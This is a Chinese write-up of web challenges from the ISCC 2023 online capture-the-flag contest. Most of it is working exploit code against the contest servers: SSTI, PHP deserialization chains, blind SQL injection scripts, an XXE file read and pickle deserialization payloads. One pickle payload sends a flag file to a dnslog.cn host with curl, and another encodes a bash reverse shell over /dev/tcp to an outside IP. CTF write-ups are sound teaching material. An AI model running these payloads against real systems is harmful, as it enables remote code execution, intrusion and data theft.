2023iscc线上赛web_wp

web

羊了个羊

纯前端题目,ctrl+s保存前端代码到本地,点击url那里在ctrl+s就行

在vue.global.js搜alert,就能找到falg,两次base64编码

chatGGG

exp

import requests
​
def gethex(s1):
    s = ""
    for i in s1:
        s += hex(ord(i)).replace("0x","\\x")
    return s
​
payload2 = '{% print(lipsum|attr("' + gethex("__globals__") + '")|attr("' + gethex("__getitem__") + '")("os")|attr("' +gethex("popen") +'")("' + gethex("cat fll*") + '")|attr("' +gethex("read") + '")() ) %}'
url = """http://47.94.14.162:10006"""
result = requests.post(url,data={"ask":payload2}).text
print(result)

小周的密码锁

bp爆破发现当password1,password2都为5时,会返回源码 同时发现传参点有点不对劲,在vscode里我们清晰地看到存在unicode码 paylaod

?password=%01!SCCNOTHARD&username=14987637&sha1=ncxvshadewjpz&%E2%80%AE%E2%81%A6/
/sha2%E2%81%A9%E2%81%A6sha2=DFSNHPICAKYWV

Where_is_your_love

开一个新页面,F12查看源码,可以看到三个php文件

download.php为一个下载文件,是rsa公钥,Enc.php为密文。 LoveStory.php可以查看如下,反序列化 脚本

 <?php
​
class boy {
   public $like;
   public function __destruct() {
       echo "能请你喝杯奶茶吗?<br>";
        @$this->like->make_friends();
   }
   public function __toString() {
       echo "拱火大法好<br>";
       return $this->like->string;
   }
}
​
class girl {
   private $boyname;
   public function __construct($a)
   {
       
       $this->boyname=$a;
   }
   public function __call($func, $args) {
       echo "我害羞羞<br>";
       
       isset($this->boyname->name);  
   }
}
​
class helper {
   private $name;   
   private $string;
   public function __construct($a,$string) {
       if ($a===1){
           $this->name = array('string'=>'(new love_story())->love') ;
             var_dump($this->name);
             var_dump($this->name['string']);
       }
       else{
           $this->name=$a;
       }
       
       
       $this->string = $string;
   }
   public function __isset($val) {
       echo "僚机上线<br>";
       echo $this->name;
   }
   public function __get($name) {
       echo "僚机不懈努力<br>";
       
       $var = $this->$name;
       var_dump($var);
       var_dump($var[$name]);
       
       $var[$name]();   #(new love_story())->love()
       
​
​
   }
}
class love_story {
   public $fall_in_love = array("girl_and_boy");
​
   public function __construct()
   {
       echo "construct nihao";
   }
​
   public  function love() {
       echo "爱情萌芽<br>";
       
       array_walk($this, function($make, $colo){
           echo "坠入爱河,给你爱的密码<br>";
           
           if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
               global $flag;
               echo $flag;
               echo "good";
           }
       });
   }
}
​
$b1 = new boy();
$b2 = new boy();
$h1 = new helper($b2,"222");
$g = new girl($h1);
$l = new love_story();
$a = array("string"=>[$l,"love"]);
#echo $a["string"];
$h2 = new helper(1,$a);
$b2->like = $h2;
$b1->like = $g;
echo urlencode(serialize($b1)) ;

payload

O%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A4%3A%22girl
%22%3A1%3A%7Bs%3A13%3A%22%00girl%00boyname%22%3BO%3A6%3A%22help
er%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3BO%3A3%3A%22bo
y%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A6%3A%22helper%22%3A2%3A%
7Bs%3A12%3A%22%00helper%00name%22%3Ba%3A1%3A%7Bs%3A6%3A%22string
%22%3Bs%3A24%3A%22%28new+love_story%28%29%29-
%3Elove%22%3B%7Ds%3A14%3A%22%00helper%00string%22%3Ba%3A1%3A%7Bs%
3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A%22love_story%22
%3A1%3A%7Bs%3A12%3A%22fall_in_love%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12
%3A%22girl_and_boy%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22love%22%3B%7D%7
D%7D%7Ds%3A14%3A%22%00helper%00string%22%3Bs%3A3%3A%22222%22%3B%
7D%7D%7D

解析公钥,得到的n用yafu分解,然后解密letter.php可以得到flag的加密方式,然后解密就可以 flag加密方式

<?php
function enc($data){
    $str="";
    $a=strrev(str_rot13($data));
    for($i=0;$i<strlen($a);$i++){
        $b=ord($a[$i])+10;
        $c=$b^100;
        $e=sprintf("%02x",$c);
        $str.=$e;
    } 
    return $str;
}
?>

exp:

import gmpy2
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
​
with open("keyiscc.pem", "rb") as f:
    key = RSA.import_key(f.read())
    print("n = %d" % key.n)
    print("e = %d" % key.e)
n = 21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
e = 65537
p = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967
q = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
with open('letter.php', 'rb') as f:
    c = f.read()
# print(c)
c = bytes_to_long(c)
# print(c)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(int(m)))
flag = 'e32824180f3ee4295f1b5f5a1d1019115a3d1a003924122fe7335b34253f59263ae13e3e3404'
# print(len(flag))
flag_ = ''
for i in range(0, len(flag), 2):
    str = flag[i:i + 2]
    # print(str)
    str = int(str, 16) ^ 100
    flag_ = flag_ + chr(str - 10)
# print(flag_[::-1])
flag = flag_[::-1]
print(flag)
​

得到的结果rot13解密

老狼老狼几点了

进去发现是个输入框,然后尝试输入,然后访问12点;

得到源码,如上图;

分析一波,发现漏洞点在include函数,文件包含漏洞,用filter伪协议读取文件; 然后往上分析,function要为hack,file要为flag.php(后台扫描) 然后将序列化后的值进行过滤base64然后反序列化 从头捋一下思路:post传参param1和param2两个参数,要绕过md5强绕过

这里使用fastcoll_v1.0.0.5工具进行碰撞绕过第一个if; 用txt文件(文件内容为时间,要比题目的要大,否则过不去)直接拖入到fastcoll_v1.0.0.5工具中,然后得到两个碰撞文件

本地测试代码:

<?php
​
if($_SESSION) unset($_SESSION);
$p1 = file_get_contents("./1_msg1.txt");
var_dump(urlencode($p1));
// echo urlencode($p1);
echo"</br></br></br></br>";
​
$p2 = file_get_contents("./1_msg2.txt");
var_dump(urlencode($p2));
// echo urlencode($p1);
​
echo"</br></br></br></br>";
if ($p1 !== $p2 && md5($p1) === md5($p2)){ 
echo"success!!";
}

本地测试成功

然后因为要传值为hack和flag.php,正好函数过滤base64,可以用这一点来进行反序列化逃逸;经过计算可得要传参的数为: &SESSION[a]=base64base64base64 &SESSION[bbb]=;s:4:"file";s:62:"php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php";s:8:"function";s:4:"hack";s:9:"function1";s:4:"hack";} Payload抓取数据包 等到了我写的时间,那一秒钟去访问,就能执行shell拿到flag 得到flag: ISCC{mY0i9LI4Tb9p40uMco62fhGBnZKjF27N}

ISCC疯狂购物节-1

import requests
import string
from time import sleep
​
# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011', 'https': 'http://127.0.0.1:8011'}
​
# 绕过 are you kidding me
cookies = {
    'csrftoken': "1w4agLdUpsSukypnr6eI6kcR5os3KMQKvbFfTpbp5yQUZyl8zFZopiGYuFqzl63a",
    'sessionid': "dv0zje8mpsutbcnmqquamdwlsp273x2n",
}
​
headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
}
​
​
def str_to_hex(string):
    result = ''
    for i in string:
        result += hex(ord(i))[2:]
    return result
​
​
# 找到 flag 所在字段
def find_flag_col():
    url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"
    with open(r'flag.txt', 'r') as f:
        for flag in f:
            payload = url.format(flag.replace("\n", ''))
            print(payload)
            r = requests.get(url=payload, cookies=cookies, headers=headers)
            sleep(1)
            if r.status_code != 500:
                print("Found: [+]:{}".format(flag))
​
    # 正则过滤了,只能 0x+四个字符
    url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"
    result = '{'
​
    for i in range(1, 100):
        for ch in alphabet:
            payload = url.format(str_to_hex(result[-1]), str_to_hex(ch))
            # payload = url.format(str_to_hex(ch))
            print(payload)
            r = requests.get(url=payload, cookies=cookies, headers=headers)
            sleep(1)
​
            if "too fast" in r.text:
                print("too fast")
                sleep(2)
                r = requests.get(url=payload, cookies=cookies, headers=headers)
​
            if "576O576K576K" in r.text:
                print(payload)
                result += ch
                print("注入成功: [+]", result)
                break  # 这一位已经跑出来了,可以 break 掉然后下一轮循环跑下一位数据了
​
​
        if ch == alphabet[-1]:
            print("注入完成")
            exit(0)
​
if __name__ == '__main__':
    find_flag_col()

上大号说话

首先是git源码泄露,得到源码如下:

class ED:
    def __init__(self):
        self.file_key = ...  # 1Aa
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
​
    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
​
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
​
​
def check_cookies(cookie):
    ed = ED()
    f, result = ed.decrypto(cookie)
    black_list = ...
    if not result[0:2] == b'\x80\x03':
        return False
    ...
    try:
        result = pickle.loads(result)
        if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu:
            return flag
        else:
            return result.name
    except:
        return False
​
​
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        name = request.form['input_field']
        name = Member(name)
        name_pick = pickle.dumps(name, protocol=3)
        name_pick = pickletools.optimize(name_pick)
        ed = ED()
        response = make_response(redirect('/'))
        response.set_cookie('name', ed.crypto(name_pick).decode())
        return response
​
    temp_cookies = request.cookies.get('name')
​
    if not temp_cookies:
        ...
    else:
        f = check_cookies(temp_cookies)
        ...
​
​
if __name__ == '__main__':
    app.run()

显然是pickle反序列化,这里先爆破file_key,根据解密是否成功这一布尔条件进行爆破,脚本如下:

import base64
from cryptography.fernet import Fernet
import string
​
strs = string.digits+string.ascii_letters
​
​
​
class ED:
    def __init__(self,key):
        self.file_key = key
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
​
    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
​
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
​
    def decrypto(self,base_str):
        return self.cipher_suite.decrypt(base_str.encode())
​
​
​
name="gAAAAABkUKWMuAi51cpZj8kXYTEI1JYp0Eqjuwjel4Q2udPR6WZ_UmIbmst2owMZssuKmlFbEE7GyJP2ALpbE8soUnZjDacJgg8-fks0BQi964Hts8s1TqD8THgAgxWX_u-5dbx-EtOy03067C-Kx-B1ZitYVCvA_hiSliXLfUGEh0Wm23RYtfs="
​
for a in strs:
    for b in strs:
        for c in strs:
            for d in strs:
                key = a+b+c+d
                ed = ED(key)
                try:
                    ed.decrypto(name)
                except:
                    continue
                else:
                    print(key)
​

得到key为5MbG 下面是绕过如下判断:

result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu

使用变量覆盖将mabaoguo中的变量覆盖掉,然后再实例化一个Member类。

import base64
from cryptography.fernet import Fernet
​
class ED:
    def __init__(self):
        self.file_key = "5MbG"
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
​
    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
​
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
​
    def decrypto(self,base_str):
        return self.cipher_suite.decrypt(base_str.encode())
        
payload=b'''\x80\x03c__main__\nMember\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00randomq\x03X\x04\x00\x00\x00Hackq\x04X\x06\x00\x00\x00gongfuq\x05h\x04X\x04\x00\x00\x00nameq\x06X\x08\x00\x00\x00mabaoguoq\x07ubc__main__
mabaoguo
.'''
ed = ED()
x=ed.crypto(payload).decode()
print(x)

得到信息flag in flagucjbgaxqef.txt 最后dns外带命令执行得到flag,用{}包裹提交即可。

import base64
from cryptography.fernet import Fernet
​
​
class ED:
    def __init__(self):
        self.file_key = "5MbG"
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
​
    def crypto(self, base_str):
        return self.cipher_suite.encrypt(base_str)
​
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
​
    def decrypto(self, base_str):
        return self.cipher_suite.decrypt(base_str.encode())
​
​
# payload = b'''\x80\x03c__main__\nMember\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00randomq\x03X\x04\x00\x00\x00Hackq\x04X\x06\x00\x00\x00gongfuq\x05h\x04X\x04\x00\x00\x00nameq\x06X\x08\x00\x00\x00mabaoguoq\x07ubc__main__
# mabaoguo
# .'''
# ed = ED()
# x = ed.crypto(payload).decode()
# print(x)
#flagucjbgaxqef.txt
payload5=b'''\x80\x03(cos
system
Vcurl `cat flagucjbgaxqef.txt`.wz7gvw.dnslog.cn
o.'''
ed = ED()
x = ed.crypto(payload5).decode()
print(x)
​

ISCC内部零元购-2

脚本exp:

import base64
import requests
​
​
#eval commands subprocess exec global popen system os
​
# timeit.timeit("__import__('os').system('curl `ls`.wd7vst.dnslog.cn')")
#__import__('os').system('bash -c "bash -i >& /dev/tcp/47.108.180.208/8888 0<&1 2>&1"')
opcode1=b'''(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0073\u0079\u0073\u0074\u0065\u006d\u0028\u0027\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0033\u002e\u0031\u0034\u0033\u002e\u0032\u0034\u0033\u002e\u0032\u0033\u0036\u002f\u0033\u0033\u0039\u0030\u0020\u0030\u003c\u0026\u0031\u0020\u0032\u003e\u0026\u0031\u0022\u0027\u0029
itimeit
timeit
R.'''
​
payload=base64.b64encode(opcode1).decode()
​
url = "http://47.94.14.162:10009"
​
header = {"Cookie":"session="+payload+"; Auth=eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiIsIkFjY2Vzc19JUCI6IjE3MS4xMC45Ny4zOSJ9.eyJuYW1lIjoiR3Vlc3QiLCJleHAiOjE2ODM5NjAzNjd9.B-IrQrrnk35o72XTtX68CXwxtO13Zg14SpPXM97F4SvCZKhQigwE_R6Xc7kDVJLQITvnoDvN9NdGuLCp-IB6Pv1XDcCfUKHNKy5Jg6Om4-RFmqFWZudltpYzrUXwJ_sHFmBcFACnkI3GUimwr9Y4jrswHQEjtAxT04nHGM_LPvc"}
​
r = requests.get(url,headers=header)
print(r.text)
​

ISCCISCC单身节抽奖

随便注册一个账号进去。

来到home.php 在抽奖界面发现可能存在任意文件下载 尝试在在抽一次实现目录穿越 出现提示文件,是我们需要读取的文件 在页面源代码中发现了一个base64编码的字符串 解密:O:3:"Log":3:{s:6:"passwd";s:3:"123";s:8:"username";s:6:"blasterr";s:4:"sdog";i:0;} 构造密码为 ccccccc123456";s:8:"username";s:64:" cccccccc";s:4:"sdog";i:1;} 用户名任意,进行反序列化截断。 得到 loadzk1myHJ0vaEoT5U0j6xDOVLBw693g83S.php 之后下载上面的demo文件 http://47.94.14.162:10015/loadzk1myHJ0vaEoT5U0j6xDOVLBw693g83S.php?file=../../../apidemo.php&&check_time=0.5e6 是一个xxe漏洞 访问该php文件,并按格式提交payload:

​
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE name [  
<!ENTITY goodies SYSTEM "file:///flag"> ]> 
 <user>
     <name>&goodies;</name>
     <isdog>sin66
</isdog>
     <award>66</award>
</user>

得到flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值